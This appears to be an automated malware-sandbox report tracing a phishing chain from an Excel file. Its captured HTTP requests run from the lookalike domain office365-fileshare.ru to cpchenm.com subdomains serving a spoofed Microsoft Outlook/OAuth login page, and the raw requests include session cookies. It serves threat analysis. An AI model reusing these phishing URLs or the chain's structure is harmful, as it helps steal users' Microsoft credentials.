File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: Joe Sandbox View	IP Address: 13.107.253.45 13.107.253.45
Source: Joe Sandbox View	IP Address: 239.255.255.250 239.255.255.250
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\4B89FF36.png

Jump to behavior

Source: global traffic	HTTP traffic detected: GET /?utm_source=Klaviyo&utm_medium=campaign&_kx=RI7R9H_0krIELmEO_8PgZw.XXyCFf HTTP/1.1Host: office365-fileshare.ruConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /LRkpLmIajJQMupJl/muUKZumHSauUPQAUTNdXGinnGykxWedqtUjvNiqDQizHBOf?utm_source=Klaviyo&utm_medium=campaign&_kx=RI7R9H_0krIELmEO_8PgZw.XXyCFf HTTP/1.1Host: office365-fileshare.ruConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=8suib9pih5v918j67p720q3bfp
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: office365-fileshare.ruConnection: keep-alivesec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://office365-fileshare.ru/LRkpLmIajJQMupJl/muUKZumHSauUPQAUTNdXGinnGykxWedqtUjvNiqDQizHBOf?utm_source=Klaviyo&utm_medium=campaign&_kx=RI7R9H_0krIELmEO_8PgZw.XXyCFfAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=8suib9pih5v918j67p720q3bfp
Source: global traffic	HTTP traffic detected: GET /LRkpLmIajJQMupJl/muUKZumHSauUPQAUTNdXGinnGykxWedqtUjvNiqDQizHBOf?utm_source=Klaviyo&utm_medium=campaign&_kx=RI7R9H_0krIELmEO_8PgZw.XXyCFf HTTP/1.1Host: office365-fileshare.ruConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://office365-fileshare.ru/LRkpLmIajJQMupJl/muUKZumHSauUPQAUTNdXGinnGykxWedqtUjvNiqDQizHBOf?utm_source=Klaviyo&utm_medium=campaign&_kx=RI7R9H_0krIELmEO_8PgZw.XXyCFfAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=8suib9pih5v918j67p720q3bfp
Source: global traffic	HTTP traffic detected: GET /LRkpLmIajJQMupJl/GMqRpTWbQktO/QFVnZbXmdvGgeNYqrZNoanjXqOMqCKolixf/ycpUInBVOQ HTTP/1.1Host: office365-fileshare.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=8suib9pih5v918j67p720q3bfp
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: office365-fileshare.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=8suib9pih5v918j67p720q3bfp
Source: global traffic	HTTP traffic detected: GET /LRkpLmIajJQMupJl/YoJnCCuSWjPniRIM/TjSgkUGrEdVpcvKAsaskuKUkLiwUFwkraMkMnOzEQIGtIHpC?utm_source=Klaviyo&utm_medium=campaign&_kx=RI7R9H_0krIELmEO_8PgZw.XXyCFf HTTP/1.1Host: office365-fileshare.ruConnection: keep-aliveCache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://office365-fileshare.ru/LRkpLmIajJQMupJl/muUKZumHSauUPQAUTNdXGinnGykxWedqtUjvNiqDQizHBOf?utm_source=Klaviyo&utm_medium=campaign&_kx=RI7R9H_0krIELmEO_8PgZw.XXyCFfAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=8suib9pih5v918j67p720q3bfp
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: office365-fileshare.ruConnection: keep-alivesec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://office365-fileshare.ru/LRkpLmIajJQMupJl/YoJnCCuSWjPniRIM/TjSgkUGrEdVpcvKAsaskuKUkLiwUFwkraMkMnOzEQIGtIHpC?utm_source=Klaviyo&utm_medium=campaign&_kx=RI7R9H_0krIELmEO_8PgZw.XXyCFfAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=8suib9pih5v918j67p720q3bfp
Source: global traffic	HTTP traffic detected: GET /LRkpLmIajJQMupJl/YoJnCCuSWjPniRIM/TjSgkUGrEdVpcvKAsaskuKUkLiwUFwkraMkMnOzEQIGtIHpC?utm_source=Klaviyo&utm_medium=campaign&_kx=RI7R9H_0krIELmEO_8PgZw.XXyCFf HTTP/1.1Host: office365-fileshare.ruConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://office365-fileshare.ru/LRkpLmIajJQMupJl/YoJnCCuSWjPniRIM/TjSgkUGrEdVpcvKAsaskuKUkLiwUFwkraMkMnOzEQIGtIHpC?utm_source=Klaviyo&utm_medium=campaign&_kx=RI7R9H_0krIELmEO_8PgZw.XXyCFfAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=8suib9pih5v918j67p720q3bfp
Source: global traffic	HTTP traffic detected: GET /LRkpLmIajJQMupJl/YoJnCCuSWjPniRIM/VpduxMZR/CVxsLDkgOWkSLKgVWLRDE/CNRdWuejutMeOe HTTP/1.1Host: office365-fileshare.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=8suib9pih5v918j67p720q3bfp
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: office365-fileshare.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=8suib9pih5v918j67p720q3bfp
Source: global traffic	HTTP traffic detected: GET /LRkpLmIajJQMupJl/YoJnCCuSWjPniRIM/QmogppZGcJknpWsepXGOQNmkjuufsteqSsOBzxyyPrNzmMGdL/NpZJEslplJHT?utm_source=Klaviyo&utm_medium=campaign&_kx=RI7R9H_0krIELmEO_8PgZw.XXyCFf HTTP/1.1Host: office365-fileshare.ruConnection: keep-aliveCache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://office365-fileshare.ru/LRkpLmIajJQMupJl/YoJnCCuSWjPniRIM/TjSgkUGrEdVpcvKAsaskuKUkLiwUFwkraMkMnOzEQIGtIHpC?utm_source=Klaviyo&utm_medium=campaign&_kx=RI7R9H_0krIELmEO_8PgZw.XXyCFfAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=8suib9pih5v918j67p720q3bfp
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: office365-fileshare.ruConnection: keep-alivesec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://office365-fileshare.ru/LRkpLmIajJQMupJl/YoJnCCuSWjPniRIM/QmogppZGcJknpWsepXGOQNmkjuufsteqSsOBzxyyPrNzmMGdL/NpZJEslplJHT?utm_source=Klaviyo&utm_medium=campaign&_kx=RI7R9H_0krIELmEO_8PgZw.XXyCFfAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=8suib9pih5v918j67p720q3bfp
Source: global traffic	HTTP traffic detected: GET /LRkpLmIajJQMupJl/YoJnCCuSWjPniRIM/QmogppZGcJknpWsepXGOQNmkjuufsteqSsOBzxyyPrNzmMGdL/NpZJEslplJHT?utm_source=Klaviyo&utm_medium=campaign&_kx=RI7R9H_0krIELmEO_8PgZw.XXyCFf HTTP/1.1Host: office365-fileshare.ruConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://office365-fileshare.ru/LRkpLmIajJQMupJl/YoJnCCuSWjPniRIM/QmogppZGcJknpWsepXGOQNmkjuufsteqSsOBzxyyPrNzmMGdL/NpZJEslplJHT?utm_source=Klaviyo&utm_medium=campaign&_kx=RI7R9H_0krIELmEO_8PgZw.XXyCFfAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=8suib9pih5v918j67p720q3bfp
Source: global traffic	HTTP traffic detected: GET /LRkpLmIajJQMupJl/YoJnCCuSWjPniRIM/QmogppZGcJknpWsepXGOQNmkjuufsteqSsOBzxyyPrNzmMGdL/mIiGTMdiACicIABMIHEMfbYsCBIflcd/wJpuLiRlIELAizqiWEEeCvJHDDglShGidrsQuKAYzI/FdYTZeRwgBHCeAjorlTivuLNqoeh HTTP/1.1Host: office365-fileshare.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=8suib9pih5v918j67p720q3bfp
Source: global traffic	HTTP traffic detected: GET /EDlbZQWABA/afSeiRqtowoOBCYGXGnQytorJGnjuUfMDNo HTTP/1.1Host: office365-fileshare.ruConnection: keep-alivesec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://office365-fileshare.ru/LRkpLmIajJQMupJl/YoJnCCuSWjPniRIM/QmogppZGcJknpWsepXGOQNmkjuufsteqSsOBzxyyPrNzmMGdL/NpZJEslplJHT?utm_source=Klaviyo&utm_medium=campaign&_kx=RI7R9H_0krIELmEO_8PgZw.XXyCFfAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=8suib9pih5v918j67p720q3bfp
Source: global traffic	HTTP traffic detected: GET /EDlbZQWABA/afSeiRqtowoOBCYGXGnQytorJGnjuUfMDNo HTTP/1.1Host: office365-fileshare.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=8suib9pih5v918j67p720q3bfp
Source: global traffic	HTTP traffic detected: GET /BYMURbys.0.0.1 HTTP/1.1Host: cpchenm.comConnection: keep-alivesec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://office365-fileshare.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /owa/? HTTP/1.1Host: tvrcemeheff.cpchenm.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://office365-fileshare.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM
Source: global traffic	HTTP traffic detected: GET /common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_token&scope=openid&msafed=1&msaredir=1&client-request-id=2a51e03a-9691-be2b-3843-b2e27ecb841e&protectedtoken=true&claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d&nonce=638670257752018358.3d8641d8-01f6-4285-a5ae-09001ad72a07&state=Dcs7EoAwCABRojPeBgNEPlaehZloa-n1pXjbbQOAtSylUQXcRpiTqLsKcQyNfcywg2cg8WN4SCim5o10EnFOlyRv9W79_bJfPw HTTP/1.1Host: tvrceocprq.cpchenm.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://office365-fileshare.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM
Source: global traffic	HTTP traffic detected: GET /24743/38f24fc5900fdb662051d9378c067a295587a54a1b4e7dc196e1fee206da0489/cfa6fe23a8b2678daff7e885b1ac3092843be13f2b5c8f8da62bca6faf6007db.js HTTP/1.1Host: tvrceocprq.cpchenm.comConnection: keep-alivesec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://tvrceocprq.cpchenm.com/common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_token&scope=openid&msafed=1&msaredir=1&client-request-id=2a51e03a-9691-be2b-3843-b2e27ecb841e&protectedtoken=true&claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d&nonce=638670257752018358.3d8641d8-01f6-4285-a5ae-09001ad72a07&state=Dcs7EoAwCABRojPeBgNEPlaehZloa-n1pXjbbQOAtSylUQXcRpiTqLsKcQyNfcywg2cg8WN4SCim5o10EnFOlyRv9W79_bJfPwAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM; esctx-I25zEK1wCc=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeCER6CDHA06GGAe-LySKuSOwx2l-rq6u1wcPfCi_5UWvT8L9eCpAIjsNTmcO9trK7dBx9A8qrBBamY8dJ0baPw0rdrrr4N1rFhXs_20DWYCfzUU26_32cELHSruGKIJCHZBIxnMPxV72DqUJPcOGs3yAA; fpc=AgoPu6kglfFNoCf1boaPI48; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeR-nh---hZTu4PYqzpbok8MQ_QHeER5WiuVYZj8zzArors-NktxlIATaTGsE4EwcoogCFCKz7fYVT2nl4og7Pq128fudEuKYDlHEqHm6UrhANECekQ2mLt-9tDamerkEvWXDNIF6Rfe9CHNZqG3-AFjrh47ris_u6R79zp6sa4vwgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd
Source: global traffic	HTTP traffic detected: GET /24743/38f24fc5900fdb662051d9378c067a295587a54a1b4e7dc196e1fee206da0489.js HTTP/1.1Host: tvrceocprq.cpchenm.comConnection: keep-alivesec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://tvrceocprq.cpchenm.com/common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_token&scope=openid&msafed=1&msaredir=1&client-request-id=2a51e03a-9691-be2b-3843-b2e27ecb841e&protectedtoken=true&claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d&nonce=638670257752018358.3d8641d8-01f6-4285-a5ae-09001ad72a07&state=Dcs7EoAwCABRojPeBgNEPlaehZloa-n1pXjbbQOAtSylUQXcRpiTqLsKcQyNfcywg2cg8WN4SCim5o10EnFOlyRv9W79_bJfPwAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM; esctx-I25zEK1wCc=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeCER6CDHA06GGAe-LySKuSOwx2l-rq6u1wcPfCi_5UWvT8L9eCpAIjsNTmcO9trK7dBx9A8qrBBamY8dJ0baPw0rdrrr4N1rFhXs_20DWYCfzUU26_32cELHSruGKIJCHZBIxnMPxV72DqUJPcOGs3yAA; fpc=AgoPu6kglfFNoCf1boaPI48; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeR-nh---hZTu4PYqzpbok8MQ_QHeER5WiuVYZj8zzArors-NktxlIATaTGsE4EwcoogCFCKz7fYVT2nl4og7Pq128fudEuKYDlHEqHm6UrhANECekQ2mLt-9tDamerkEvWXDNIF6Rfe9CHNZqG3-AFjrh47ris_u6R79zp6sa4vwgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js HTTP/1.1Host: tvrcedjrhte.cpchenm.comConnection: keep-alivesec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109"Origin: https://tvrceocprq.cpchenm.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://tvrceocprq.cpchenm.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM
Source: global traffic	HTTP traffic detected: GET /24743/38f24fc5900fdb662051d9378c067a295587a54a1b4e7dc196e1fee206da0489.js HTTP/1.1Host: tvrceocprq.cpchenm.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM; esctx-I25zEK1wCc=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeCER6CDHA06GGAe-LySKuSOwx2l-rq6u1wcPfCi_5UWvT8L9eCpAIjsNTmcO9trK7dBx9A8qrBBamY8dJ0baPw0rdrrr4N1rFhXs_20DWYCfzUU26_32cELHSruGKIJCHZBIxnMPxV72DqUJPcOGs3yAA; fpc=AgoPu6kglfFNoCf1boaPI48; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeR-nh---hZTu4PYqzpbok8MQ_QHeER5WiuVYZj8zzArors-NktxlIATaTGsE4EwcoogCFCKz7fYVT2nl4og7Pq128fudEuKYDlHEqHm6UrhANECekQ2mLt-9tDamerkEvWXDNIF6Rfe9CHNZqG3-AFjrh47ris_u6R79zp6sa4vwgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd
Source: global traffic	HTTP traffic detected: GET /24743/38f24fc5900fdb662051d9378c067a295587a54a1b4e7dc196e1fee206da0489/cfa6fe23a8b2678daff7e885b1ac3092843be13f2b5c8f8da62bca6faf6007db.js HTTP/1.1Host: tvrceocprq.cpchenm.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM; esctx-I25zEK1wCc=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeCER6CDHA06GGAe-LySKuSOwx2l-rq6u1wcPfCi_5UWvT8L9eCpAIjsNTmcO9trK7dBx9A8qrBBamY8dJ0baPw0rdrrr4N1rFhXs_20DWYCfzUU26_32cELHSruGKIJCHZBIxnMPxV72DqUJPcOGs3yAA; fpc=AgoPu6kglfFNoCf1boaPI48; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeR-nh---hZTu4PYqzpbok8MQ_QHeER5WiuVYZj8zzArors-NktxlIATaTGsE4EwcoogCFCKz7fYVT2nl4og7Pq128fudEuKYDlHEqHm6UrhANECekQ2mLt-9tDamerkEvWXDNIF6Rfe9CHNZqG3-AFjrh47ris_u6R79zp6sa4vwgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd
